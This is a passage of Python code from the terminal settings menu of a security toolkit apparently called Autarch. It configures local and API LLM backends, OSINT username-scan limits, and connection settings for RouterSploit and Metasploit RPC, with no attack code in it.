size.""" + print() + current = self.config.get_int('llama', 'n_ctx', 4096) + print(f" {Colors.DIM}Current: {current} tokens{Colors.RESET}") + print(f" {Colors.DIM}Common values: 2048, 4096, 8192, 16384, 32768{Colors.RESET}") + print() + + try: + n_ctx = input(f" {Colors.WHITE}Context size [{current}]: {Colors.RESET}").strip() + if n_ctx: + n_ctx = int(n_ctx) + if 512 <= n_ctx <= 131072: + self.config.set('llama', 'n_ctx', str(n_ctx)) + self.config.save() + self.print_status(f"Context size set to {n_ctx}", "success") + else: + self.print_status("Value must be between 512 and 131072", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_threads(self): + """Set LLM CPU threads.""" + print() + current = self.config.get_int('llama', 'n_threads', 4) + cpu_count = os.cpu_count() or 4 + print(f" {Colors.DIM}Current: {current} threads{Colors.RESET}") + print(f" {Colors.DIM}Your system has {cpu_count} CPU cores{Colors.RESET}") + print() + + try: + threads = input(f" {Colors.WHITE}Threads [{current}]: {Colors.RESET}").strip() + if threads: + threads = int(threads) + if 1 <= threads <= 256: + self.config.set('llama', 'n_threads', str(threads)) + self.config.save() + self.print_status(f"Threads set to {threads}", "success") + else: + self.print_status("Value must be between 1 and 256", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_gpu_layers(self): + """Set LLM GPU layers.""" + print() + current = self.config.get_int('llama', 'n_gpu_layers', 0) + print(f" {Colors.DIM}Current: {current} layers{Colors.RESET}") + print(f" {Colors.DIM}Set to 0 for CPU only, higher for GPU acceleration{Colors.RESET}") + print(f" {Colors.DIM}Use -1 to offload all layers to GPU{Colors.RESET}") + print() + + try: + layers = input(f" {Colors.WHITE}GPU layers [{current}]: {Colors.RESET}").strip() + if layers: + layers = int(layers) + if layers >= -1: + self.config.set('llama', 'n_gpu_layers', str(layers)) + self.config.save() + self.print_status(f"GPU layers set to {layers}", "success") + else: + self.print_status("Value must be -1 or higher", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _get_llm_config_section(self): + """Get the config section name for the current LLM backend.""" + backend = self.config.get('autarch', 'llm_backend', 'local') + return {'transformers': 'transformers', 'claude': 'claude', 'huggingface': 'huggingface'}.get(backend, 'llama') + + def _set_llm_temperature(self): + """Set LLM temperature.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + current = self.config.get_float(section, 'temperature', 0.7) + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Lower = more focused, Higher = more creative{Colors.RESET}") + print(f" {Colors.DIM}Typical range: 0.1 - 1.5{Colors.RESET}") + print() + + try: + temp = input(f" {Colors.WHITE}Temperature [{current}]: {Colors.RESET}").strip() + if temp: + temp = float(temp) + if 0.0 <= temp <= 2.0: + self.config.set(section, 'temperature', str(temp)) + self.config.save() + self.print_status(f"Temperature set to {temp}", "success") + else: + self.print_status("Value must be between 0.0 and 2.0", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_sampling(self): + """Set LLM Top P and Top K sampling parameters.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + current_p = self.config.get_float(section, 'top_p', 0.9) + current_k = self.config.get_int(section, 'top_k', 40) + print(f" {Colors.DIM}Current Top P: {current_p} (nucleus sampling){Colors.RESET}") + print(f" {Colors.DIM}Current Top K: {current_k}{Colors.RESET}") + print() + + try: + # Top P + top_p = input(f" {Colors.WHITE}Top P (0.0-1.0) [{current_p}]: {Colors.RESET}").strip() + if top_p: + top_p = float(top_p) + if 0.0 <= top_p <= 1.0: + self.config.set(section, 'top_p', str(top_p)) + self.config.save() + self.print_status(f"Top P set to {top_p}", "success") + else: + self.print_status("Top P must be between 0.0 and 1.0", "error") + + # Top K + top_k = input(f" {Colors.WHITE}Top K (0-1000) [{current_k}]: {Colors.RESET}").strip() + if top_k: + top_k = int(top_k) + if 0 <= top_k <= 1000: + self.config.set(section, 'top_k', str(top_k)) + self.config.save() + self.print_status(f"Top K set to {top_k}", "success") + else: + self.print_status("Top K must be between 0 and 1000", "error") + + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_repeat_penalty(self): + """Set LLM repeat penalty.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + if backend == 'transformers': + key = 'repetition_penalty' + elif backend in ('claude', 'huggingface'): + # These backends don't have repeat_penalty + self.print_status("Repeat penalty not applicable for this backend", "info") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + else: + key = 'repeat_penalty' + current = self.config.get_float(section, key, 1.1) + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}1.0 = no penalty, higher = less repetition{Colors.RESET}") + print() + + try: + penalty = input(f" {Colors.WHITE}Repeat penalty [{current}]: {Colors.RESET}").strip() + if penalty: + penalty = float(penalty) + if 0.0 <= penalty <= 2.0: + self.config.set(section, key, str(penalty)) + self.config.save() + self.print_status(f"Repeat penalty set to {penalty}", "success") + else: + self.print_status("Value must be between 0.0 and 2.0", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_max_tokens(self): + """Set LLM max tokens per response.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + current = self.config.get_int(section, 'max_tokens', 2048) + print(f" {Colors.DIM}Current: {current} tokens{Colors.RESET}") + print(f" {Colors.DIM}Maximum tokens generated per response{Colors.RESET}") + print() + + try: + tokens = input(f" {Colors.WHITE}Max tokens [{current}]: {Colors.RESET}").strip() + if tokens: + tokens = int(tokens) + if 1 <= tokens <= 32768: + self.config.set(section, 'max_tokens', str(tokens)) + self.config.save() + self.print_status(f"Max tokens set to {tokens}", "success") + else: + self.print_status("Value must be between 1 and 32768", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _load_llm_model(self): + """Load or reload the LLM model.""" + from .llm import get_llm, LLMError + + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + + if backend == 'transformers': + model_path = self.config.get('transformers', 'model_path', '') + is_valid = model_path and os.path.isdir(model_path) + elif backend == 'claude': + model_path = self.config.get('claude', 'model', '') + is_valid = bool(model_path) # Just needs model name + elif backend == 'huggingface': + model_path = self.config.get('huggingface', 'model', '') + is_valid = bool(model_path) # Just needs model ID + else: + model_path = self.config.get('llama', 'model_path', '') + is_valid = model_path and os.path.isfile(model_path) + + if not model_path: + self.print_status("No model path configured. Set model path first.", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + if not is_valid: + self.print_status(f"Model not found: {model_path}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Loading model ({backend})...", "info") + print(f" {Colors.DIM}This may take a moment...{Colors.RESET}") + print() + + try: + llm = get_llm() + if llm.is_loaded: + llm.unload_model() + llm.load_model(verbose=True) + self.print_status("Model loaded successfully", "success") + except LLMError as e: + self.print_status(f"Failed to load model: {e}", "error") + except Exception as e: + self.print_status(f"Error: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_transformers_device(self): + """Set transformers device (cuda/cpu/mps/auto).""" + print() + current = self.config.get('transformers', 'device', 'auto') + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Options: auto, cuda, cpu, mps{Colors.RESET}") + print() + + try: + device = input(f" {Colors.WHITE}Device [{current}]: {Colors.RESET}").strip() + if device: + if device in ['auto', 'cuda', 'cpu', 'mps']: + self.config.set('transformers', 'device', device) + self.config.save() + self.print_status(f"Device set to {device}", "success") + else: + self.print_status("Invalid device. Use: auto, cuda, cpu, or mps", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_transformers_quantization(self): + """Set transformers quantization settings.""" + print() + load_8bit = self.config.get_bool('transformers', 'load_in_8bit', False) + load_4bit = self.config.get_bool('transformers', 'load_in_4bit', False) + + if load_4bit: + current = "4-bit" + elif load_8bit: + current = "8-bit" + else: + current = "None (full precision)" + + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Quantization reduces memory but may affect quality{Colors.RESET}") + print(f" {Colors.DIM}Requires bitsandbytes package for 8-bit/4-bit{Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} No quantization (full precision)") + print(f" {Colors.GREEN}[2]{Colors.RESET} 8-bit quantization") + print(f" {Colors.GREEN}[3]{Colors.RESET} 4-bit quantization") + print() + + try: + choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip() + if choice == "1": + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'false') + self.config.save() + self.print_status("Quantization disabled", "success") + elif choice == "2": + self.config.set('transformers', 'load_in_8bit', 'true') + self.config.set('transformers', 'load_in_4bit', 'false') + self.config.save() + self.print_status("8-bit quantization enabled", "success") + elif choice == "3": + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'true') + self.config.save() + self.print_status("4-bit quantization enabled", "success") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _switch_llm_backend(self): + """Switch between LLM backends.""" + from .llm import reset_llm + + print() + current = self.config.get('autarch', 'llm_backend', 'local') + print(f" {Colors.DIM}Current backend: {current}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} llama.cpp (GGUF models)") + print(f" {Colors.GREEN}[2]{Colors.RESET} transformers (SafeTensors / PyTorch)") + print(f" {Colors.GREEN}[3]{Colors.RESET} Claude API") + print(f" {Colors.GREEN}[4]{Colors.RESET} HuggingFace Inference API") + print() + + try: + choice = input(f" {Colors.WHITE}Select backend: {Colors.RESET}").strip() + new_backend = None + if choice == "1": + new_backend = "local" + elif choice == "2": + new_backend = "transformers" + elif choice == "3": + new_backend = "claude" + elif choice == "4": + new_backend = "huggingface" + + if new_backend and new_backend != current: + self.config.set('autarch', 'llm_backend', new_backend) + self.config.save() + reset_llm() # Reset to pick up new backend + self.print_status(f"Backend switched to {new_backend}", "success") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _load_hardware_template(self): + """Load a hardware-specific configuration template.""" + print() + print(f" {Colors.BOLD}{Colors.WHITE}Hardware Configuration Templates{Colors.RESET}") + print(f" {Colors.DIM}Select a template optimized for your hardware{Colors.RESET}") + print() + + templates = self.config.list_hardware_templates() + for i, (template_id, name, description, _) in enumerate(templates, 1): + is_experimental = 'EXPERIMENTAL' in description + color = Colors.YELLOW if is_experimental else Colors.GREEN + print(f" {color}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{description}{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + try: + choice = input(f" {Colors.WHITE}Select template: {Colors.RESET}").strip() + if choice and choice != "0": + try: + index = int(choice) - 1 + if 0 <= index < len(templates): + template_id = templates[index][0] + template_name = templates[index][1] + + # Confirm experimental templates + if 'EXPERIMENTAL' in templates[index][2]: + print() + print(f" {Colors.YELLOW}WARNING: This template is experimental!{Colors.RESET}") + confirm = input(f" {Colors.WHITE}Continue? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + self.print_status("Cancelled", "info") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + if self.config.load_template(template_id): + self.print_status(f"Loaded template: {template_name}", "success") + print(f" {Colors.DIM}Note: Model path preserved from current config{Colors.RESET}") + else: + self.print_status("Failed to load template", "error") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid selection", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _load_custom_config(self): + """Load a user-saved custom configuration.""" + print() + print(f" {Colors.BOLD}{Colors.WHITE}Custom Configurations{Colors.RESET}") + print() + + custom_configs = self.config.list_custom_configs() + + if not custom_configs: + print(f" {Colors.YELLOW}No custom configurations found.{Colors.RESET}") + print(f" {Colors.DIM}Use [W] Save Current as Custom Config to create one.{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + for i, (name, filepath) in enumerate(custom_configs, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{filepath.name}{Colors.RESET}") + print() + print(f" {Colors.RED}[D]{Colors.RESET} Delete a custom config") + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + try: + choice = input(f" {Colors.WHITE}Select config: {Colors.RESET}").strip().lower() + if choice == "d": + self._delete_custom_config(custom_configs) + elif choice and choice != "0": + try: + index = int(choice) - 1 + if 0 <= index < len(custom_configs): + name, filepath = custom_configs[index] + if self.config.load_custom_config(filepath): + self.print_status(f"Loaded config: {name}", "success") + print(f" {Colors.DIM}Note: Model path preserved from current config{Colors.RESET}") + else: + self.print_status("Failed to load config", "error") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid selection", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _delete_custom_config(self, custom_configs: list): + """Delete a custom configuration file.""" + print() + print(f" {Colors.RED}Delete Custom Configuration{Colors.RESET}") + print() + + for i, (name, filepath) in enumerate(custom_configs, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {name}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + try: + choice = input(f" {Colors.WHITE}Select config to delete: {Colors.RESET}").strip() + if choice and choice != "0": + try: + index = int(choice) - 1 + if 0 <= index < len(custom_configs): + name, filepath = custom_configs[index] + confirm = input(f" {Colors.WHITE}Delete '{name}'? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + if self.config.delete_custom_config(filepath): + self.print_status(f"Deleted: {name}", "success") + else: + self.print_status("Failed to delete config", "error") + else: + self.print_status("Cancelled", "info") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid selection", "error") + except (EOFError, KeyboardInterrupt): + print() + + def _save_custom_config(self): + """Save current LLM settings as a custom configuration.""" + print() + print(f" {Colors.BOLD}{Colors.WHITE}Save Custom Configuration{Colors.RESET}") + print(f" {Colors.DIM}Save your current LLM settings for later use{Colors.RESET}") + print() + + try: + name = input(f" {Colors.WHITE}Configuration name: {Colors.RESET}").strip() + if name: + filepath = self.config.save_custom_config(name) + self.print_status(f"Saved to: {filepath.name}", "success") + print(f" {Colors.DIM}Full path: {filepath}{Colors.RESET}") + else: + self.print_status("No name provided, cancelled", "info") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _unload_llm_model(self): + """Unload the current LLM model.""" + from .llm import get_llm + + print() + llm = get_llm() + + if not llm.is_loaded: + self.print_status("No model currently loaded", "info") + else: + llm.unload_model() + self.print_status("Model unloaded", "success") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_osint_settings(self): + """Display and configure OSINT settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} OSINT Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_osint_settings() + + print(f" {Colors.CYAN}Max Threads:{Colors.RESET} {settings['max_threads']}") + print(f" {Colors.CYAN}Timeout:{Colors.RESET} {settings['timeout']} seconds") + print(f" {Colors.CYAN}Include NSFW:{Colors.RESET} {'Yes' if settings['include_nsfw'] else 'No'}") + print() + + print(f" {Colors.DIM}Thread setting controls parallel requests during{Colors.RESET}") + print(f" {Colors.DIM}username scanning. Lower values = slower but safer.{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Set Max Threads") + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Timeout") + print(f" {Colors.CYAN}[3]{Colors.RESET} Toggle NSFW Sites") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self._set_osint_threads() + elif choice == "2": + self._set_osint_timeout() + elif choice == "3": + self._toggle_osint_nsfw() + + except (EOFError, KeyboardInterrupt): + break + + def _set_osint_threads(self): + """Set OSINT max threads.""" + print() + current = self.config.get_int('osint', 'max_threads', 8) + print(f" {Colors.DIM}Current: {current} threads{Colors.RESET}") + print(f" {Colors.DIM}Recommended: 4-16 depending on your system{Colors.RESET}") + print() + + try: + threads = input(f" {Colors.WHITE}Max threads (1-100) [{current}]: {Colors.RESET}").strip() + + if threads: + threads = int(threads) + if 1 <= threads <= 100: + self.config.set('osint', 'max_threads', str(threads)) + self.config.save() + self.print_status(f"Max threads set to {threads}", "success") + else: + self.print_status("Value must be between 1 and 100", "error") + + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_osint_timeout(self): + """Set OSINT timeout.""" + print() + current = self.config.get_int('osint', 'timeout', 8) + print(f" {Colors.DIM}Current: {current} seconds{Colors.RESET}") + print() + + try: + timeout = input(f" {Colors.WHITE}Timeout in seconds (1-60) [{current}]: {Colors.RESET}").strip() + + if timeout: + timeout = int(timeout) + if 1 <= timeout <= 60: + self.config.set('osint', 'timeout', str(timeout)) + self.config.save() + self.print_status(f"Timeout set to {timeout} seconds", "success") + else: + self.print_status("Value must be between 1 and 60", "error") + + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _toggle_osint_nsfw(self): + """Toggle OSINT NSFW sites inclusion.""" + current = self.config.get_bool('osint', 'include_nsfw', False) + new_value = not current + self.config.set('osint', 'include_nsfw', str(new_value).lower()) + self.config.save() + self.print_status(f"NSFW sites {'enabled' if new_value else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_rsf_settings(self): + """Display and configure RouterSploit settings.""" + from .rsf import get_rsf_manager + + rsf = get_rsf_manager() + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} RouterSploit Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_rsf_settings() + + print(f" {Colors.CYAN}Install Path:{Colors.RESET} {settings['install_path']}") + + # Status + if rsf.is_available: + count = rsf.get_module_count() + print(f" {Colors.CYAN}Status:{Colors.RESET} {Colors.GREEN}Available ({count} modules){Colors.RESET}") + else: + print(f" {Colors.CYAN}Status:{Colors.RESET} {Colors.YELLOW}Not Found{Colors.RESET}") + + default_target = settings['default_target'] or '(not set)' + print(f" {Colors.CYAN}Default Target:{Colors.RESET} {default_target}") + print(f" {Colors.CYAN}Timeout:{Colors.RESET} {settings['execution_timeout']}s") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Set Install Path") + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Default Target") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set Timeout") + print(f" {Colors.CYAN}[4]{Colors.RESET} Test Installation") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + print() + current = settings['install_path'] + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + path = input(f" {Colors.WHITE}Install path: {Colors.RESET}").strip() + if path: + import os + path = os.path.expanduser(path) + if os.path.isdir(path): + self.config.set('rsf', 'install_path', path) + self.config.save() + rsf.reset_cache() + self.print_status(f"Install path set to: {path}", "success") + else: + self.print_status(f"Directory not found: {path}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + elif choice == "2": + print() + current = settings['default_target'] + prompt = f"Default target [{current}]: " if current else "Default target: " + target = input(f" {Colors.WHITE}{prompt}{Colors.RESET}").strip() + if target: + self.config.set('rsf', 'default_target', target) + self.config.save() + self.print_status(f"Default target set to: {target}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + elif choice == "3": + print() + current = settings['execution_timeout'] + timeout_str = input(f" {Colors.WHITE}Timeout in seconds [{current}]: {Colors.RESET}").strip() + if timeout_str: + try: + timeout = int(timeout_str) + if 10 <= timeout <= 600: + self.config.set('rsf', 'execution_timeout', str(timeout)) + self.config.save() + self.print_status(f"Timeout set to {timeout}s", "success") + else: + self.print_status("Timeout must be between 10 and 600 seconds", "error") + except ValueError: + self.print_status("Invalid number", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + elif choice == "4": + print() + self.print_status("Testing RouterSploit installation...", "info") + rsf.reset_cache() + if rsf.is_available: + count = rsf.get_module_count() + self.print_status(f"RouterSploit is available! ({count} modules indexed)", "success") + else: + self.print_status("RouterSploit not found at configured path", "error") + print(f" {Colors.DIM}Path: {settings['install_path']}{Colors.RESET}") + print(f" {Colors.DIM}Make sure routersploit package is at this location{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_msf_settings(self): + """Display and configure Metasploit settings.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + settings = msf.get_settings() + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Metasploit Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Current settings + print(f" {Colors.CYAN}Host:{Colors.RESET} {settings['host']}") + print(f" {Colors.CYAN}Port:{Colors.RESET} {settings['port']}") + print(f" {Colors.CYAN}Username:{Colors.RESET} {settings['username']}") + print(f" {Colors.CYAN}Password:{Colors.RESET} {'*' * len(settings['password']) if settings['password'] else '(not set)'}") + print(f" {Colors.CYAN}SSL:{Colors.RESET} {settings['ssl']}") + print(f" {Colors.CYAN}Autoconnect:{Colors.RESET} {Colors.GREEN if settings.get('autoconnect', True) else Colors.YELLOW}{'Enabled' if settings.get('autoconnect', True) else 'Disabled'}{Colors.RESET}") + print() + + # Server status + is_running, pid = msf.detect_server() + if is_running: + print(f" {Colors.GREEN}Server: Running{Colors.RESET}", end="") + if pid: + print(f" (PID: {pid})") + else: + print() + else: + print(f" {Colors.YELLOW}Server: Not Running{Colors.RESET}") + + # Connection status + if msf.is_connected: + print(f" {Colors.GREEN}Client: Connected{Colors.RESET}") + try: + version = msf.rpc.get_version() + print(f" {Colors.DIM}Version: {version.get('version', 'Unknown')}{Colors.RESET}") + except: + pass + else: + print(f" {Colors.YELLOW}Client: Disconnected{Colors.RESET}") + + print() + print(f" {Colors.CYAN}[1]{Colors.RESET} Configure Connection") + print(f" {Colors.CYAN}[2]{Colors.RESET} Test Connection") + print(f" {Colors.CYAN}[3]{Colors.RESET} Disconnect") + print() + print(f" {Colors.CYAN}[4]{Colors.RESET} Start Server") + print(f" {Colors.CYAN}[5]{Colors.RESET} Stop Server") + print(f" {Colors.CYAN}[6]{Colors.RESET} Toggle Autoconnect") + use_sudo = self.config.get_bool('msf', 'use_sudo', fallback=True) + print(f" {Colors.CYAN}[7]{Colors.RESET} Toggle Sudo {Colors.DIM}(currently: {'on' if use_sudo else 'off'}){Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self.configure_msf() + settings = msf.get_settings() + elif choice == "2": + print() + # Refresh settings before attempting connection + settings = msf.get_settings() + self.print_status("Testing connection...", "info") + try: + if not settings['password']: + password = input(f" {Colors.WHITE}Enter MSF RPC password: {Colors.RESET}").strip() + else: + password = settings['password'] + msf.connect(password) + self.print_status("Connected successfully!", "success") + version = msf.rpc.get_version() + print(f" {Colors.DIM}Metasploit {version.get('version', 'Unknown')}{Colors.RESET}") + except MSFError as e: + self.print_status(f"Connection failed: {e}", "error") + if "Authentication failed" in str(e): + print(f" {Colors.DIM}The server may be running with different credentials.{Colors.RESET}") + print(f" {Colors.DIM}Try: [5] Stop Server, then [4] Start Server{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "3": + msf.disconnect() + self.print_status("Disconnected", "info") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "4": + # Start server + print() + if is_running: + self.print_status("Server is already running", "warning") + else: + if not settings['password']: + password = input(f" {Colors.WHITE}Enter MSF RPC password: {Colors.RESET}").strip() + if password: + msf.save_settings( + settings['host'], settings['port'], + settings['username'], password, settings['ssl'] + ) + settings = msf.get_settings() + else: + password = settings['password'] + + if password: + self.print_status("Starting server...", "info") + if msf.start_server( + settings['username'], password, + settings['host'], settings['port'], settings['ssl'] + ): + self.print_status("Server started successfully", "success") + else: + self.print_status("Failed to start server", "error") + else: + self.print_status("Password required to start server", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "5": + # Stop server + print() + if not is_running: + self.print_status("Server is not running", "warning") + else: + self.print_status("Stopping server...", "info") + if msf.kill_server(): + self.print_status("Server stopped", "success") + else: + self.print_status("Failed to stop server", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "6": + # Toggle autoconnect + new_value = not settings.get('autoconnect', True) + msf.set_autoconnect(new_value) + settings = msf.get_settings() + self.print_status(f"Autoconnect {'enabled' if new_value else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "7": + # Toggle sudo for MSF server start + use_sudo = self.config.get_bool('msf', 'use_sudo', fallback=True) + new_value = not use_sudo + self.config.set('msf', 'use_sudo', str(new_value).lower()) + self.config.save() + if new_value: + self.print_status("Sudo enabled — msfrpcd runs as root (full module support)", "success") + else: + self.print_status("Sudo disabled — msfrpcd runs as current user (some modules limited)", "warning") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def configure_msf(self): + """Configure Metasploit connection settings.""" + from .msf import get_msf_manager + + msf = get_msf_manager() + settings = msf.get_settings() + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Configure Metasploit RPC{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print(f"\n {Colors.DIM}Press Enter to keep current value{Colors.RESET}\n") + + try: + host = input(f" Host [{settings['host']}]: ").strip() or settings['host'] + port_str = input(f" Port [{settings['port']}]: ").strip() + port = int(port_str) if port_str else settings['port'] + username = input(f" Username [{settings['username']}]: ").strip() or settings['username'] + password = input(f" Password: ").strip() or settings['password'] + ssl_str = input(f" Use SSL (y/n) [{'y' if settings['ssl'] else 'n'}]: ").strip().lower() + use_ssl = ssl_str == 'y' if ssl_str else settings['ssl'] + + msf.save_settings(host, port, username, password, use_ssl) + self.print_status("Settings saved", "success") + + except (ValueError, EOFError, KeyboardInterrupt): + print() + self.print_status("Configuration cancelled", "warning") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_all_settings(self): + """Display all current settings.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} All Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # LLM Settings + print(f" {Colors.CYAN}LLM Configuration:{Colors.RESET}") + settings = self.config.get_llama_settings() + for key, value in settings.items(): + print(f" {key:20}: {value}") + + # MSF Settings + print() + print(f" {Colors.CYAN}Metasploit Configuration:{Colors.RESET}") + from .msf import get_msf_manager + msf_settings = get_msf_manager().get_settings() + for key, value in msf_settings.items(): + if key == 'password': + value = '*' * len(value) if value else '(not set)' + print(f" {key:20}: {value}") + + # OSINT Settings + print() + print(f" {Colors.CYAN}OSINT Configuration:{Colors.RESET}") + osint_settings = self.config.get_osint_settings() + for key, value in osint_settings.items(): + print(f" {key:20}: {value}") + + print() + print(f" {Colors.CYAN}Config file:{Colors.RESET} {self.config.config_path}") + print() + + input(f"{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_database_management(self): + """Display database management menu.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Database Management{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Get database info + from .cve import get_cve_db + cve_db = get_cve_db() + cve_stats = cve_db.get_db_stats() + + # Custom APIs + custom_apis = self._load_custom_apis() + + # System audit + system_inf = self._app_dir / "system.inf" + + # Adult scanner custom sites + adult_sites = self._app_dir / "custom_adultsites.json" 